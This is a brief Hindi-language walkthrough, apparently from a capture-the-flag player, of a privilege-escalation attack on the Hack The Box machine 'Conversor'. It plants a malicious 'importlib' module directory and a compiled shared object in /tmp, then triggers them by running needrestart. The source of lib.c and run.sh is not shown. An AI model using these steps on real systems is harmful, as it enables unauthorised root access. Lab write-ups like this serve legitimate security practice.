
मैंने इसे Conversor HTB मशीन में आज़माया
नमस्ते, यह 0x3bs है
पीड़ित मशीन में:
set -e
cd /tmp
# 1. Create the malicious module directory structure
mkdir -p malicious/importlib
हमलावर मशीन में
lib.c को कंपाइल करने के लिए:
gcc -shared -fPIC -o exp.so lib.c
और पीड़ित मशीन में :
/tmp में
chmod +x run.sh
/tmp/malicious/importlib में :
chmod +x exp.so
./exp.so
# try to run it after run 'run.sh' if it didn't work
और /tmp में
./run.sh
और दूसरे सत्र में needrestart चलाएँ
याद रखें >> exp.so को /tmp/malicious/importlib में होना चाहिए